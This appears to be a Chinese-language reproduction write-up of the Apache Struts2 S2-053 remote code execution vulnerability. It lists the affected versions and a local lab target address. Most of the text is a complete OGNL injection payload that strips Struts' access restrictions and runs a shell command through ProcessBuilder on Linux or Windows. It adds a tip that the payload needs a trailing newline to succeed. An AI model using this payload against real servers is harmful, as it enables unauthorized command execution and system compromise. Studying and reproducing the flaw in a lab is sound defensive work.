S2-053 远程代码执行漏洞

S2-053 远程代码执行漏洞

受影响的版本:Struts 2.0.1 - Struts 2.3.33、Struts 2.5 - Struts 2.5.10

细节:

漏洞复现

环境运行后,访问 即可看到提交页面http://192.168.44.132:8080/hello.action

Struts2 允许在使用 Freemarker 模板引擎时解析 OGNL 表达式。数据不是OGNL自己解析的,而是Freemarker解析一次之后。变成了表达式,被OGNL第二次解析。和远程代码执行漏洞。

有效载荷:

1
%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}

image-20220217165154665

PS:有人说无法重现漏洞。经过我的测试,发现上面Payload末尾的换行符是不能掉的(即payload后面必须跟换行符)。

0%